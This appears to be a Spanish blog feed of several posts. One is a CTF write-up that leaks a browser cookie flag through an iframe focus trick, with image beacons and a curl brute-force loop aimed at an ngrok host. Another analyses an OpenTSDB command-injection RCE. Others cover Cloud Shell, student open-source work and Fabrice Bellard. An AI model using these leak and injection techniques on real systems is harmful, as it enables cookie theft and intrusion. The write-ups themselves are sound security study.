Receta rápida para montar un servidor web con nombre público y soporte PHP, a coste 0, en 2 minutos.
1) Entra en Google Cloud Shell https://cloud.google.com/shell Verás una terminal en el navegador (internamente usa Debian GNU/Linu 10) Por defecto serás el usuario X (donde X es tu nombre en Gmail/Google)
2) Google Cloud Shell no es accesible desde el exterior (no te ofrece una IP pública, sino privada)
$ ifconfig
inet 172.17.0.4
Puedes convertirte en root, tienes permisos de sudo. Así puedes instalar cualquier paquete.
El primero que necesitaremos es ngrok, así que vamos allá
Lanzamos ahora un servidor web con soporte PHP en el puerto 4444:
$ php -S 0.0.0.0:4444
5) Abrimos otra ventana tmux. Para ello, pulsamos Ctrl+b y a continuación la tecla c (create)
Desde aquí creamos un túnel con ngrok, para que nos asigne un nombre accesible desde el exterior.
Lo conectamos con el puerto 4444. Todo ello con:
$ ngrok http 4444
6) Fin! Ya tenemos accesible nuestro server PHP desde el navegador, a través de un nombre público a coste 0. Por supuesto puedes instalar mysql o cualquier otra BBDD o lenguaje de scripting (nodejs, Ruby…)
PD: alguien puede argumentar que esto mismo se puede hacer en local y enlazar por ngrok. TRUE, pero el ancho de banda que ofrece Google seguro que mejora al que tienes en casa. Y en la shell de Google tendrás más de 20 GB libres. Rápido, barato y espacioso!
PD2: y otra razón es que puedes editar tus scripts desde el navegador y ver los resultados on-the-fly
Walo Web nos propone dos botones, WaloCheck y WaloMsg. El autor del reto se ha preocupado también de crear un diseño de web ideal para dejarnos ciegos. Gracias por el detalle, @jorge_ctf 🙂 Al pulsar en WaloCheck, podemos indicar una URL que será visitada por un navegador lanzado con Selenium (inicialmente con un FirefoxDriver, aunque por algún problema técnico se pasó a ChromiumDriver).
Si en lugar de WaloCheck pulsamos en WaloMsg, se nos ofrece un formulario con un único input text para informar a alguien de que hemos pasado la prueba. Es extraño, porque no hay action, ni submit, …
Afortunadamente, el reto incluye el código fuente usado internamente. Desde ahí podremos ver cómo está programado WaloCheck, WaloMsg y el browser lanzado por Selenium.
Lo primero que suelo hacer en estos casos es montar todo el reto en local para desarrollar más cómodamente el exploit. Suelo abrir una terminal con iTerm2 y la divido en paneles.
Vamos allá. El reto usa redis para almacenar las URLs que le pedimos chequear, así que ponemos en marcha redis, no sin antes meterle un bind a la IP local en el fichero de configuración (/usr/local/etc/redis.conf):
$ redis-server /usr/local/etc/redis.conf
Podemos comprobar que el server está bien lanzándole un ping:
$ redis-cli -h 192.168.1.129 ping
Luego dejamos un panel abierto contra redis para comprobar los checks pedidos:
$ redis-cli -h 192.168.1.129
Por ejemplo, si pedimos (desde nuestro localhost) chequear google.com, veremos algo como:
redis> KEYS *
127.0.0.1
redis> get 127.0.0.1
https://google.com
Abrimos ahora otro panel para tener lanzada la aplicación Flask que se encarga de responder a walocheck y walomsg. Dejé preparados un script con las variables de entorno necesarias:
a fondo. Empecemos con browser.py. Vemos que se lanza un browser Chromium en modo headless primero contra «https://127.0.0.1:4000/noExists» y luego se establece una cookie para las siguientes llamadas a 127.0.0.1, con
Aquí no entendí muy bien por qué se hacía esa primera conexión contra noExists… hasta que revisé la documentación de Selenium, en concreto la sección de add-cookie:
«First of all, you need to be on the domain that the cookie will be valid for. If you are trying to preset cookies before you start interacting with a site and your homepage is large / takes a while to load an alternative is to find a smaller page on the site (typically the 404 page is small, e.g. http://example.com/some404page)»
OK, según la documentación hay que tener a Selenium apuntando al dominio al que se le va a asignar la cookie. Para que sea algo rápido, recomiendan apuntar a una página de carga rápida, como un HTTP/404.
En el método driver.add_cookie, vemos que se establece una cookie con la flag (mi tesoroooo) y muy interesante, un sameSite: None. Esto viene a querer decir que la cookie será enviada al navegador (siempre que se pida algo del dominio https://127.0.0.1:4000) incluso aunque esa petición proceda de un iframe incrustado en una página de otro dominio. Por ejemplo, podemos crear una página en http://dominio.com/exploit.php y dentro de la misma, incrustar un iframe que apunte a 127.0.0.1:4000. El iframe recibirá la cookie. Alguien puede decir, joe, pues ¿fácil no? Se crea un JS que acceda al document del iframe desde exploit.php y se captura la cookie. Fin. Bueno… sabiendo que es un reto de 600 puntos seguramente algo se nos esté pasando… Realmente no es posible hacer lo indicado por problemas de seguridad cross-site.
Me gusta esta respuesta de StackOverflow: https://stackoverflow.com/a/6170976/243532 «You can’t. XSS protection. Cross site contents can not be read by javascript. No major browser will allow you that. I’m sorry, but this is a design flaw, you should drop the idea.»
Si intentamos hacerlo, recibiremos un bonito error del estilo: «Uncaught DOMException: Blocked a frame with origin «http://dominio.com/exploit.php» from accessing a cross-origin frame.at»
Aquí me quedé bastante bloqueado. Incluso pensé que era un bug del diseño del reto y que al autor se le olvidó meter una opción de Selenium que deshabilita esa protección:
Pero tras preguntarlo, la respuesta fue: «A walo no le gusta meterle más directivas a su browser… 😜»
Mal asunto. Así que, mientras seguía pensando en cómo saltarme esa restricción, pasé a estudiar el código del script web.py.
En la ruta index nada de interés, salvo una cookie flag con el valor whyisitnothere?. En la ruta walocheck se guarda la url indicada en redis y poco más. ¿Y qué hay de la ruta walomsg? Esta es más interesante:
@app.route("/walomsg", methods=["GET"])
def walomsg():
flag_p = request.args.get("flag")
flag_c = request.cookies.get('flag')
msg = request.args.get("msg")
print(flag_p, flag_c, msg)
if not flag_c or not flag_p or not msg:
return "Something went wrong..."
return render_template("check_msg.html", msg=search('[A-Za-z" ]+', msg).group(), check=flag_p in flag_c) # Make sure flag is valid
La ruta espera dos parámetros GET (flag, msg) y una COOKIE flag. Si están las tres, muestra el template check_msg.html pasándole una condición y una restricción. La restricción es que el contenido de la variable GET[‘msg’] sólo puede tener letras del alfabeto [A-Za-z» ]. Así que poco margen para una inyección XSS. Pero la condición «check» es muy interesante. Nos está diciendo que check será true cuando GET[‘flag’] sea un substring de COOKIE[‘flag]. Y tal y como hemos dicho antes, COOKIE[‘flag’] es la cookie con la flag que Selenium nos enviará a http://127.0.0.1:4000. Oh, esto se pone divertido. Pero seguimos teniendo un problemón: no podemos acceder a ese contenido porque el navegador no nos lo permite.
Me gusta recapitular para ver qué demonios me estoy dejando en el tintero. Vamos allá. 1) La idea principal es crear una página http://midominio.com/exploit.php . 2) Esa página incluirá un iframe con src = http://127.0.0.1:4000/walomsg 3) Le voy a pedir a /walocheck que chequee http://midominio.com/exploit.php 4) Selenium enviará la cookie al iframe. Y aquí tengo dos opciones: si paso las variables GET[‘flag’] y GET[‘msg’] correctas, se visualizará un pequeño formulario con un input text:
Si paso las variables incorrectas, no se visualizará dicho formulario. Pero claro, «visualizar» es un eufemismo, recordemos que ver, lo que se dice ver, no vamos a ver nada porque la petición va por Selenium a nuestro dominio. Hay que conseguir como sea consultar por JS si se cargó un iframe con el input text (las variables get y flag son correctas) o sin el input text.
Esta es la clave en este tipo de pruebas. Tener como mínimo un bit de información, true o false. Con eso nos bastará para determinar la cookie. El problema es que no podemos acceder a ese bit de información por un problema de seguridad del navegador (consultas JS cross-site están prohibidas por seguridad). Aaaaargghhh… estando tan cerca me tiraba de los pelos por no encontrar la forma. Me preguntaba a ver cómo conseguir saber que se cargó un iframe con un input sin poder consultarlo directamente por JS. Si al menos saltara algún evento que pudiera capturar… ¡BANG! ¿Podría hacer saltar un onfocus en el el input? No podemos inyectar nada que nos sirva en GET[‘msg’]… Pero hay una forma de poner el foco del navegador en un input… siempre que ese input tenga un id o un name asociado. Veamos el código:
Vaya, vaya… un id=»msg». ¿Y cómo conseguimos que ese id tome el foco? Con un URI fragment en la URL: #msg https://en.wikipedia.org/wiki/URI_fragment
Vamos a probar en mi máquina local. Asigno una cookie local en el navegador («whereitis», por ejemplo) para probar, y lanzo la siguiente consulta.
Si mis cálculos han sido correctos, el input con id=msg debe tomar el foco:
¡Tachán! Bueno, algo hemos avanzado. Ahora «sólo» queda saber cómo diablos detecto por JS que ese input ha tomado el foco (lo cual quiere decir que en GET[‘flag’] hemos pasado un substring que forma parte de la cookie).
Si intentamos incrustar en la página padre algo como:
Obtendremos el error que nos está mordiendo siempre de acceso a iframe entre DOMs cargados de distintos orígenes. Pero hay una forma más sencilla de saberlo, sin intentar acceder directamente al frame: document.activeElement
Si el foco lo tiene el input, document.activeElement será X Si el foco lo tiene el body del documento principal, document.activeElement será Y
Y un último detalle. Al frame le llamaré exploit, así que para detectar la condición a), haremos lo siguiente: if (document.activeElement.name == «exploit» ) . Ahora queda exfiltrar este TRUE. ¿Cómo? Una opción es inyectando una imagen de mi servidor (y tener monitorizado mi server para saber en qué momento se pide dicha imagen). En concreto, así:
(el server ngrok.io es un dominio dinámico que permite tunneling http…)
Tenemos todos los elementos necesarios para ir extrayendo la cookie, letra a letra. Aquí, idealmente habría que hacerlo por JS, creando un iframe, pasarle los parámetros adecuados, comprobar si pillamos foco. Si no, borrar iframe, ir a por la siguiente letra del alfabeto y repetir la jugada.
Lo intenté: https://gist.github.com/juananpe/23cdf8b2b40ba6fc9b02179123d709d2 pero estaba cansado y mi script no terminó de funcionar O:)
Así que recurrí a la fuerza bruta. Probar primero todo un charset, letra a letra, para saber de qué letras se compone la cookie y luego, teniendo ese juego reducido de posibles caracteres, ir una a una a partir de CYBEX{…. hasta la última llave }.
Eso funcionó. Me llevó unas horitas, pero funcionó 🙂
Este es el exploit que permite el leak de la cookie, letra a letra: https://gist.github.com/juananpe/f4e784d11bf10fd955be2a495891eef5
El juego de caracteres era este:
word=$(echo '} a c f i l m s v w A B C E L O S T U X Y _ } { ¡ ! ¿ ? `' | fold -w 1)
y el encantamiento que probaba, letra a letra, era este:
for x in ${word}; do echo $x; curl --silent -k --data-urlencode "url=http://e4a57a0a358d.ngrok.io/exploit.php?msg=CYBEX{$x" https://104.210.220.165:2052/walocheck > /dev/null ; sleep 30; done
En la prueba de concepto (PoC) se ve que es un RCE sobre Opentsdb (CVE-2020-35476). RCE = Remote Code Execution, es un pez gordo, no un xss del montón 🙂
OpenTSDB se define como una base de datos de Time Series, distribuida, escalable implementada sobre HBase. El proyecto tiene web propia,y el código fuente en GitHub.
Si nos metemos en el issue, publicado el 18/11/2020, vemos que el código fuente afectado -en Java- no parece complicado:
private static String popParam(final Map<String, List<String>> querystring,
final String param) {
final List<String> params = querystring.remove(param);
if (params == null) {
return null;
}
final String given = params.get(params.size() - 1);
// TODO - far from perfect, should help a little.
if *(given.contains("`") || given.contains("%60") ||
given.contains("`")) *{
throw new BadRequestException("Parameter " + param + " contained a "
+ "back-tick. That's a no-no.");
}
return given;
}
Se limita a obtener los parámetros a través de un hashmap y comprobar que en dichos parámetros no hay una tilde invertida (acento grave o backtick, en inglés). ¿Por qué filtrar una tilde invertida? Porque esos parámetros irán a formar parte de un script para plot que a su vez, será ejecutado como un shell script (mygnuplot.sh) Y dentro de ese script podríamos ejecutar cualquier comando que llegue como parámetro si este está entre `tildes invertidas`.
A primera vista parece que el filtro es correcto. Para probarlo, abrimos un jshell y creamos una mini-clase Java que exponga el código afectado:
jshell>
public class Proba { public static String popParam(final Map<String, List<String>> querystring,
final String param) throws Exception {
final List<String> params = querystring.remove(param);
if (params == null) {
return null;
}
final String given = params.get(params.size() - 1);
// TODO - far from perfect, should help a little.
if (given.contains("`") || given.contains("%60") ||
given.contains("`")) {
throw new Exception("Parameter " + param + " contained a "
+ "back-tick. That's a no-no.");
}
return given;
} }
Y lo probamos:
jshell> List<String> q = new ArrayList<String>();
jshell> q.add("`id`")
jshell> Map<String, List<String>> querystring = new HashMap<String, List<String>>();
jshell> querystring.put("q", q);
jshell> Proba.popParam(querystring, "q");
| Exception java.lang.Exception: Parameter q contained a back-tick. That's a no-no.
| at Proba.popParam (#1:11)
| at (#6:1)
El resultado es correcto, lanza una excepción cuando intentamos engañarle con un comando entre acentos graves (`ìd`). Pero otra forma de ejecutar comando en GNU Plot es a través del comando system: http://www.bersch.net/gnuplot-doc/system.html
Cada año en la escuela de ingeniería de Bilbao, los alumnos de 4º de Ingeniería Informática deben desarrollar su TFG. Muchas veces el proyecto consiste en implementar algún tipo de aplicación, normalmente desde 0. Algo que no cuadra con lo que se encontrarán ahí fuera…
Suele haber trabajos muy buenos pero la gran mayoría termina en los cajones de la biblioteca (repositorio online ADDI) https://labur.eus/MsIOT. Este curso 2019/2020 decidí cambiar ese destino.
Este mes Oihane ha presentado su TFG con los resultados (9.8! 💪). Trabajar para mejorar una aplicación de software libre nos ha traído múltiples beneficios, tanto a los alumnos como al profesor. Y también el propio proyecto se ha visto beneficiado. Por múltiples razones:
Lo primero que han aprendido es a trabajar con el flujo de trabajo GitHub Flow https://guides.github.com/introduction/flow/… En concreto, cómo crear un fork, cómo mantenerlo actualizado con upstream, cómo crear ramas, generar Pull Requests al proyecto…
También aprenden a crear issues (documentar bugs o nuevas funcionalidades) y a discutirlos, a crear PRs y a hacer frente a los code-review 🙂
Deben persistir en el empeño durante días… Es fácil que un PR pueda llevar mucho más de lo esperado. Se acabó eso de “compila y funciona, ¡ya está!” No, ahora hay que pasar un control de calidad.
De hecho, aparte del code review, el código de los alumnos debe pasar los tests automáticos ejecutados por el sistema de integración continua de GanttProject.
Otro de los objetivos era crear documentación que realmente sirva en el futuro. En concreto, que sirva para que otros desarrolladores puedan empezar a contribuir con una curva de aprendizaje más suave que estos tres pioneros/as.
Me gustan los esquemas de diagramas de clase que han desarrollado de forma colaborativa
Y sobre todo, un tipo de diagrama al que no le sabemos poner nombre, pero que considero de los más importantes. Son pantallazos de la aplicación etiquetados con el nombre de las clases principales que implementan alguno de los componentes. Un ejemplo:
Esto, que puede parecer una tontería, es vital en un proyecto que contiene casi 800 clases Java y 95000 líneas de código.
Finalmente, el propio proyecto open source GanttProject también se ha visto beneficiado. Estos son los commits en la rama master de cada uno de los alumnos (que a su vez sirven para dar lustre a sus curriculum con posibilidad de verificación pública):
El curso que viene intentaré continuar con la idea. Y tal vez, extenderla hacia una asignatura (aunque me da vértigo, por el tiempo que requiere) en lugar de centrar los trabajos sobre OSS sólo en TFGs. ¿Alguien se anima a colaborar? 🙂
Si tuviera que apostar por un único programador, sería por Fabrice Bellard (Grenoble, Francia, 1972, 48 tacos). No tiene el glamour de Knuth y seguramente su nombre sea desconocido para muchos. Pero si os digo que es el creador de FFmpeg o QEMU, seguro que apreciáis más su trabajo 🙂
FFmpeg es el sistema open source para la manipulación de audio y vídeo más usado. Bellard comenzó a programarlo en 2000, bajo un pseudónimo, «Gérard Lantau».
Corren rumores de que en su última creación, QuickJS, un intérprete JS ideal para dispositivos con pocos recursos, también juega con pseudónimos, en esta ocasión atribuyendo parte de su trabajo a un tal Charlie Gordon. https://bellard.org/quickjs/
QEMU es un sistema de emulación hardware que permite instalar máquinas virtuales con casi cualquier sistema operativo sobre el sistema anfitrión. Muy útil por ejemplo para probar, ejecutar o depurar programas en arquitecturas distintas a las de tu máquina.
Seguramente Bellard sea uno de los mejores programadores de la historia. La complejidad de desarrollar FFmpeg, QEMU o QuickJS es tremenda, y requiere de una tenacidad al alcance de pocas personas.
Fabrice ha ganado tres veces el concurso internacional de programas C ofuscados, donde las reglas, hilarantes, intentan llevar el compilador de C al límite con programas obtusos y enrevesados, pero con resultados impresionantes.
En 2001 ganó el concurso precisamente con otra de sus creaciones: el Tiny C Compiler (tcc), un compilador de C diseñado para trabajar en máquinas con pocos recursos.
Tras publicar esta obra se dedicó a reestructurar el código para hacerlo legible y que otros programadores pudieran usarlo y construir sobre él.
Seguramente, ese dominio del arte de la programación influyó en Bellard para conseguir programar un algoritmo que le permitió calcular un récord mundial de dígitos de PI
(2.7 trillones en 90 días). No parece una gran hazaña…
…hasta que te dicen que para conseguirlo usó un único PC de escritorio (de menos de 3000€) en lugar de un supercomputador de millones de dólares (size matters! 🙂 .
La lista de logros de Fabrice Bellard es enorme (https://bellard.org/) y sigue produciendo aplicaciones y algoritmos a día de hoy, por ejemplo este emulador de Linux programado
Fabrice no ofrece entrevistas, pero hay artículos que muestran facetas interesantes de su vida, como éste, un retrato de un programador super-productivo.
Una de las características de Bellard, aparte de su inteligencia y su magia, es que tiene la capacidad de trabajo y tenacidad requeridas para ir refinando sus construcciones, día a día, detalle a detalle, hasta conseguir una obra de arte, usable, útil, importante
De nuevo, algo muy complejo de conseguir y que debería guiar nuestros pasos.
En HackerNews se preguntaban cómo una sóla persona puede llegar a crear todo esto. Y algunas de las respuestas resuenan más que otras: